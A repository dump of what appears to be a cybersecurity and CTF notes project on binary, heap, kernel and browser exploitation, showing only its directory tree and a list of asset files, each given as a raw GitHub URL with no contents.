├── .gitbook └── assets │ ├── aslr-64.zip │ ├── aslr.zip │ ├── basic_authentication_ioctl.zip │ ├── basic_interaction (1).zip │ ├── basic_interaction.zip │ ├── calling-convention-multi-param.zip │ ├── calling-conventions-one-param.zip │ ├── canary-32.zip │ ├── canary-64.zip │ ├── double-free.zip │ ├── double_fetch_id (1).svg │ ├── double_fetch_id.svg │ ├── double_fetch_no_sleep.zip │ ├── double_fetch_sleep (1).zip │ ├── double_fetch_sleep.zip │ ├── exploiting_with_params.zip │ ├── fastbin_head.svg │ ├── fmtstr_arb_read.zip │ ├── fmtstr_arb_write.zip │ ├── free_chunks.svg │ ├── got-overwrite-32.zip │ ├── got-overwrite-64.zip │ ├── got-overwrite-aslr.zip │ ├── image (1).png │ ├── image (10).png │ ├── image (11).png │ ├── image (12).png │ ├── image (13).png │ ├── image (14).png │ ├── image (15).png │ ├── image (16).png │ ├── image (17).png │ ├── image (18).png │ ├── image (19).png │ ├── image (2) (1).png │ ├── image (2).png │ ├── image (20).png │ ├── image (21).png │ ├── image (22).png │ ├── image (23).png │ ├── image (24).png │ ├── image (25).png │ ├── image (26).png │ ├── image (27).png │ ├── image (28).png │ ├── image (29).png │ ├── image (3).png │ ├── image (30).png │ ├── image (31).png │ ├── image (32).png │ ├── image (33).png │ ├── image (34).png │ ├── image (35).png │ ├── image (36).png │ ├── image (37).png │ ├── image (38).png │ ├── image (39).png │ ├── image (4).png │ ├── image (40).png │ ├── image (41).png │ ├── image (42).png │ ├── image (43).png │ ├── image (44).png │ ├── image (45).png │ ├── image (46).png │ ├── image (47).png │ ├── image (48).png │ ├── image (49).png │ ├── image (5).png │ ├── image (6).png │ ├── image (7).png │ ├── image (8).png │ ├── image (9).png │ ├── image.png │ ├── introduction.zip │ ├── pie-32.zip │ ├── pie-64.zip │ ├── pie-fmtstr-64.zip │ ├── pie-fmtstr.zip │ ├── puts_plt.png │ ├── reliable_shellcode-32.zip │ ├── reliable_shellcode-64.zip │ ├── ret2libc (1).zip │ ├── ret2plt-64.zip │ ├── ret2plt.zip │ ├── ret2win.zip │ ├── rop_ret2usr.zip │ ├── rop_ret2usr_6.10.zip │ ├── rsp_shellcode.zip │ ├── shellcode.zip │ ├── sockets.zip │ ├── srnr.zip │ ├── stack_pivoting (1).zip │ ├── stack_pivoting.zip │ ├── syscalls.zip │ ├── v8_map_object (1).svg │ ├── v8_map_object (2).svg │ ├── v8_map_object.svg │ ├── v8_map_object_diff_map (1).svg │ ├── v8_map_object_diff_map (2).svg │ ├── v8_map_object_diff_map (3).svg │ └── v8_map_object_diff_map.svg ├── LICENSE.md ├── README.md ├── SUMMARY.md ├── binexp ├── browser-exploitation │ ├── README.md │ ├── ctf-2019-oob-v8 │ │ ├── README.md │ │ └── the-challenge.md │ ├── picoctf-2021-download-horsepower.md │ └── picoctf-2021-kit-engine.md ├── heap │ ├── README.md │ ├── bins │ │ ├── README.md │ │ ├── chunk-allocation-and-reallocation.md │ │ └── operations-of-the-fastbin.md │ ├── chunks.md │ ├── double-free │ │ ├── README.md │ │ ├── double-free-exploit.md │ │ └── double-free-protections.md │ ├── heap-overflow │ │ ├── README.md │ │ ├── heap0.md │ │ └── heap1.md │ ├── introduction-to-the-heap.md │ ├── malloc-state.md │ ├── malloc_consolidate.md │ ├── safe-linking.md │ ├── tcache-keys.md │ ├── the-tcache │ │ ├── README.md │ │ ├── tcache-calloc.md │ │ └── tcache-poisoning.md │ ├── unlink-exploit.md │ └── use-after-free.md ├── kernel │ ├── README.md │ ├── a-basic-kernel-interaction-challenge.md │ ├── compiling-customising-and-booting-the-kernel.md │ ├── debugging-a-kernel-module.md │ ├── double-fetch │ │ ├── README.md │ │ └── double-fetch-without-sleep.md │ ├── introduction.md │ ├── kaslr.md │ ├── kernel-rop-ret2usr.md │ ├── kpti.md │ ├── modprobe_path.md │ ├── smap.md │ ├── smep │ │ ├── README.md │ │ ├── kernel-rop-disabling-smep.md │ │ └── kernel-rop-privilege-escalation-in-kernel-space.md │ ├── the-ultimate-aim-of-kernel-exploitation-process-credentials.md │ └── writing-a-char-module │ │ ├── README.md │ │ ├── a-communicatable-char-driver.md │ │ └── interactivity-with-ioctl.md └── stack │ ├── 32-vs-64-bit.md │ ├── README.md │ ├── aslr │ ├── README.md │ ├── aslr-bypass-with-given-leak.md │ ├── plt_and_got.md │ └── ret2plt-aslr-bypass.md │ ├── canaries.md │ ├── de-bruijn-sequences.md │ ├── exploiting-over-sockets │ ├── README.md │ ├── exploit.md │ └── socat.md │ ├── forking-processes.md │ ├── format-string.md │ ├── got-overwrite │ ├── README.md │ └── exploiting-a-got-overwrite.md │ ├── introduction.md │ ├── no-execute.md │ ├── nops.md │ ├── one-gadgets-and-malloc-hook.md │ ├── pie │ ├── README.md │ ├── pie-bypass.md │ ├── pie-exploit.md │ └── pwntools-pie-and-rop.md │ ├── reliable-shellcode │ ├── README.md │ ├── ret2reg │ │ ├── README.md │ │ └── using-ret2reg.md │ ├── rop-and-shellcode.md │ └── using-rsp.md │ ├── relro.md │ ├── ret2csu │ ├── README.md │ ├── csu-hardening.md │ └── exploitation.md │ ├── ret2dlresolve │ ├── README.md │ └── exploitation.md │ ├── ret2win.md │ ├── return-oriented-programming │ ├── README.md │ ├── calling-conventions.md │ ├── exploiting-calling-conventions.md │ ├── gadgets.md │ ├── ret2libc.md │ └── stack-alignment.md │ ├── shellcode.md │ ├── stack-pivoting │ ├── README.md │ └── exploitation │ │ ├── README.md │ │ ├── leave.md │ │ └── pop-rsp.md │ └── syscalls │ ├── README.md │ ├── exploitation-with-syscalls.md │ └── sigreturn-oriented-programming-srop │ ├── README.md │ └── using-srop.md ├── blockchain └── an-introduction-to-blockchain.md ├── challenges ├── dream-diary-chapter-1.md ├── dream-diary-chapter-1 │ ├── README.md │ ├── chunk-overlap.md │ └── unlink-exploit.md └── ropme.md ├── hackthebox ├── dream-diary-1 │ ├── README.md │ ├── pwn │ │ ├── README.md │ │ ├── do-i-know-you.md │ │ └── naughty.md │ └── web │ │ ├── README.md │ │ └── php-master.md └── x-mas-ctf-2020.md ├── hosting-a-testnet-and-deploying-a-contract.md ├── interacting-with-python.md ├── misc ├── challenges-in-containers.md ├── cross-compiling-for-arm32.md ├── pwntools │ ├── README.md │ ├── elf.md │ ├── introduction.md │ ├── logging_and_context.md │ ├── packing.md │ ├── processes_and_communication.md │ └── rop.md ├── scanf-bypasses.md └── using-z3.md ├── rev ├── c++-decompilation-tricks.md ├── reverse-engineering-arm.md └── strings-in-c++.md ├── smart-contracts-and-solidity.md ├── types ├── heap │ └── double-free │ │ └── exploiting-a-double-free.md └── stack │ ├── got-overwrite.md │ ├── reliable-shellcode.md │ ├── ret2csu.md │ ├── stack-pivoting.md │ └── unusual-techniques │ └── untitled.md └── writeups ├── ctfs ├── README.md ├── fword-ctf-2020 │ ├── README.md │ ├── binary-exploitation │ │ ├── README.md │ │ └── untitled.md │ └── reversing │ │ ├── README.md │ │ └── xo.md ├── htb-cybersanta-2021 │ ├── README.md │ └── crypto │ │ ├── README.md │ │ ├── common-mistake.md │ │ ├── meet-me-halfway.md │ │ ├── missing-reindeer.md │ │ └── xmas-spirit.md └── x-mas-ctf-2020 │ ├── README.md │ ├── pwn │ ├── README.md │ ├── do-i-know-you.md │ └── naughty.md │ └── web │ ├── README.md │ └── php-master.md ├── hack-the-box ├── README.md ├── challenges │ ├── README.md │ ├── pwn │ │ ├── README.md │ │ ├── dream-diary-chapter-1 │ │ │ ├── README.md │ │ │ ├── chunk-overlap.md │ │ │ └── unlink-exploit.md │ │ └── ropme.md │ └── web │ │ ├── README.md │ │ ├── baby-auth.md │ │ ├── baby-website-rick.md │ │ ├── looking-glass.md │ │ └── sanitize.md └── linux-machines │ ├── README.md │ ├── easy-linux │ ├── README.md │ └── traceback.md │ ├── hard │ ├── README.md │ └── intense.md │ └── medium │ ├── README.md │ ├── magic.md │ └── updown.md └── picogym ├── README.md └── cryptography ├── 13.md ├── README.md ├── basic-mod1.md ├── basic-mod2.md ├── caesar.md ├── credstuff.md ├── dachshund-attacks.md ├── easy-peasy.md ├── easy1.md ├── hidetosee.md ├── mind-your-ps-and-qs.md ├── mini-rsa.md ├── mod-26.md ├── morse-code.md ├── new-caesar.md ├── no-padding-no-problem.md ├── pixelated.md ├── rail-fence.md ├── substitution0.md ├── substitution1.md ├── substitution2.md ├── the-numbers.md ├── transposition-trial.md └── vigenere.md /.gitbook/assets/aslr-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/aslr-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/aslr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/aslr.zip -------------------------------------------------------------------------------- /.gitbook/assets/basic_authentication_ioctl.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_authentication_ioctl.zip -------------------------------------------------------------------------------- /.gitbook/assets/basic_interaction (1).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_interaction (1).zip -------------------------------------------------------------------------------- /.gitbook/assets/basic_interaction.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/basic_interaction.zip -------------------------------------------------------------------------------- /.gitbook/assets/calling-convention-multi-param.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/calling-convention-multi-param.zip -------------------------------------------------------------------------------- /.gitbook/assets/calling-conventions-one-param.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/calling-conventions-one-param.zip -------------------------------------------------------------------------------- /.gitbook/assets/canary-32.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/canary-32.zip -------------------------------------------------------------------------------- /.gitbook/assets/canary-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/canary-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/double-free.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double-free.zip -------------------------------------------------------------------------------- /.gitbook/assets/double_fetch_no_sleep.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_no_sleep.zip -------------------------------------------------------------------------------- /.gitbook/assets/double_fetch_sleep (1).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_sleep (1).zip -------------------------------------------------------------------------------- /.gitbook/assets/double_fetch_sleep.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/double_fetch_sleep.zip -------------------------------------------------------------------------------- /.gitbook/assets/exploiting_with_params.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/exploiting_with_params.zip -------------------------------------------------------------------------------- /.gitbook/assets/fmtstr_arb_read.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/fmtstr_arb_read.zip -------------------------------------------------------------------------------- /.gitbook/assets/fmtstr_arb_write.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/fmtstr_arb_write.zip -------------------------------------------------------------------------------- /.gitbook/assets/got-overwrite-32.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-32.zip -------------------------------------------------------------------------------- /.gitbook/assets/got-overwrite-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/got-overwrite-aslr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/got-overwrite-aslr.zip -------------------------------------------------------------------------------- /.gitbook/assets/image (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (10).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (10).png -------------------------------------------------------------------------------- /.gitbook/assets/image (11).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (11).png -------------------------------------------------------------------------------- /.gitbook/assets/image (12).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (12).png -------------------------------------------------------------------------------- /.gitbook/assets/image (13).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (13).png -------------------------------------------------------------------------------- /.gitbook/assets/image (14).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (14).png -------------------------------------------------------------------------------- /.gitbook/assets/image (15).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (15).png -------------------------------------------------------------------------------- /.gitbook/assets/image (16).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (16).png -------------------------------------------------------------------------------- /.gitbook/assets/image (17).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (17).png -------------------------------------------------------------------------------- /.gitbook/assets/image (18).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (18).png -------------------------------------------------------------------------------- /.gitbook/assets/image (19).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (19).png -------------------------------------------------------------------------------- /.gitbook/assets/image (2) (1).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (2) (1).png -------------------------------------------------------------------------------- /.gitbook/assets/image (2).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (2).png -------------------------------------------------------------------------------- /.gitbook/assets/image (20).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (20).png -------------------------------------------------------------------------------- /.gitbook/assets/image (21).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (21).png -------------------------------------------------------------------------------- /.gitbook/assets/image (22).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (22).png -------------------------------------------------------------------------------- /.gitbook/assets/image (23).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (23).png -------------------------------------------------------------------------------- /.gitbook/assets/image (24).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (24).png -------------------------------------------------------------------------------- /.gitbook/assets/image (25).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (25).png -------------------------------------------------------------------------------- /.gitbook/assets/image (26).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (26).png -------------------------------------------------------------------------------- /.gitbook/assets/image (27).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (27).png -------------------------------------------------------------------------------- /.gitbook/assets/image (28).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (28).png -------------------------------------------------------------------------------- /.gitbook/assets/image (29).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (29).png -------------------------------------------------------------------------------- /.gitbook/assets/image (3).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (3).png -------------------------------------------------------------------------------- /.gitbook/assets/image (30).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (30).png -------------------------------------------------------------------------------- /.gitbook/assets/image (31).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (31).png -------------------------------------------------------------------------------- /.gitbook/assets/image (32).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (32).png -------------------------------------------------------------------------------- /.gitbook/assets/image (33).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (33).png -------------------------------------------------------------------------------- /.gitbook/assets/image (34).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (34).png -------------------------------------------------------------------------------- /.gitbook/assets/image (35).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (35).png -------------------------------------------------------------------------------- /.gitbook/assets/image (36).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (36).png -------------------------------------------------------------------------------- /.gitbook/assets/image (37).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (37).png -------------------------------------------------------------------------------- /.gitbook/assets/image (38).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (38).png -------------------------------------------------------------------------------- /.gitbook/assets/image (39).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (39).png -------------------------------------------------------------------------------- /.gitbook/assets/image (4).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (4).png -------------------------------------------------------------------------------- /.gitbook/assets/image (40).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (40).png -------------------------------------------------------------------------------- /.gitbook/assets/image (41).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (41).png -------------------------------------------------------------------------------- /.gitbook/assets/image (42).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (42).png -------------------------------------------------------------------------------- /.gitbook/assets/image (43).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (43).png -------------------------------------------------------------------------------- /.gitbook/assets/image (44).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (44).png -------------------------------------------------------------------------------- /.gitbook/assets/image (45).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (45).png -------------------------------------------------------------------------------- /.gitbook/assets/image (46).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (46).png -------------------------------------------------------------------------------- /.gitbook/assets/image (47).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (47).png -------------------------------------------------------------------------------- /.gitbook/assets/image (48).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (48).png -------------------------------------------------------------------------------- /.gitbook/assets/image (49).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (49).png -------------------------------------------------------------------------------- /.gitbook/assets/image (5).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (5).png -------------------------------------------------------------------------------- /.gitbook/assets/image (6).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (6).png -------------------------------------------------------------------------------- /.gitbook/assets/image (7).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (7).png -------------------------------------------------------------------------------- /.gitbook/assets/image (8).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (8).png -------------------------------------------------------------------------------- /.gitbook/assets/image (9).png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image (9).png -------------------------------------------------------------------------------- /.gitbook/assets/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/image.png -------------------------------------------------------------------------------- /.gitbook/assets/introduction.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/introduction.zip -------------------------------------------------------------------------------- /.gitbook/assets/pie-32.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-32.zip -------------------------------------------------------------------------------- /.gitbook/assets/pie-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/pie-fmtstr-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-fmtstr-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/pie-fmtstr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/pie-fmtstr.zip -------------------------------------------------------------------------------- /.gitbook/assets/puts_plt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/puts_plt.png -------------------------------------------------------------------------------- /.gitbook/assets/reliable_shellcode-32.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/reliable_shellcode-32.zip -------------------------------------------------------------------------------- /.gitbook/assets/reliable_shellcode-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/reliable_shellcode-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/ret2libc (1).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2libc (1).zip -------------------------------------------------------------------------------- /.gitbook/assets/ret2plt-64.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2plt-64.zip -------------------------------------------------------------------------------- /.gitbook/assets/ret2plt.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2plt.zip -------------------------------------------------------------------------------- /.gitbook/assets/ret2win.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/ret2win.zip -------------------------------------------------------------------------------- /.gitbook/assets/rop_ret2usr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rop_ret2usr.zip -------------------------------------------------------------------------------- /.gitbook/assets/rop_ret2usr_6.10.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rop_ret2usr_6.10.zip -------------------------------------------------------------------------------- /.gitbook/assets/rsp_shellcode.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/rsp_shellcode.zip -------------------------------------------------------------------------------- /.gitbook/assets/shellcode.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/shellcode.zip -------------------------------------------------------------------------------- /.gitbook/assets/sockets.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ir0nstone/cybersec-notes/bc17fd2fe3bb066af498cc855d1ac028657bc0c2/.gitbook/assets/sockets.zip -------------------------------------------------------------------------------- /.gitbook/assets/srnr.zip: -------------------------------------------------------------------------------- 